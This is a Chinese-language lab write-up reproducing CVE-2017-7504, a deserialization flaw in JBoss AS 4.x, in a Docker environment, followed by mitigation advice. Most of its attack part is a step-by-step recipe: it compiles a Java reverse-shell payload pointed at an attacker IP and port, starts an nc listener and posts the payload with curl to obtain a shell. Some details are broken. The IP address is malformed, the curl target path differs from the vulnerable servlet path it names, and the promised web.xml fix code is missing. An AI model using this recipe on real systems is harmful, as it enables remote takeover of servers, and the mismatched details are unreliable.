漏洞详情
JBoss AS 4.x 及之前版本中, JbossMQ 实现过程的 JMS over HTTP Invocation Layer 的 HTTPServerILServlet.java 文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
CVE-2017-7504 漏洞与 CVE-2015-7501 的漏洞原理相似,只是利用的路径稍微出现了变化, CVE-2017-7504 出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。JBoss AS 4.x及之前版本中,JbossMQ实现过程的 JMS over HTTP Invocation Layer 的HTTPServerILServlet.java ⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。
影响范围
JBoss AS 4.x及之前版本
Docker靶场环境搭建
cd joobs
ls
cd CVE-2017-7504
ls
docker-compose up -d
docker ps
漏洞复现
- 访问靶场地址。
http://ip地址:8080
-
访问 http://192.1668.114.130:8080/jbossmq-httpil/HTTPServerILServlet ,若出现如下界面则存在漏洞
-
使用攻击机下载对应的漏洞利用工具。
https://github.com/ianxtianxt/CVE-2015-7501/
- 进入目录执行
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
(IP是攻击机ip,port是要监听的端口)
- 使用nc打开端口监听
nc -lnvp 5555
- 再用之前生成的.ser文件,通过POST二进制数据上去,使用
nc监听端口,即可拿到shell
curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
总结
1、在GitHub上面下载我们需要的漏洞poc。
2、下载执行生成二进制的payload文件。
3、设置接受shell的主机IP和端口
4、监听端口。
5、向被攻击服务器发送攻击Payload。
防护建议
-
升级到JBOSS AS7。
-
临时解决方案:
(1)不需要 http-invoker.sar 组件的用户可直接删除此组件。
(2)添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。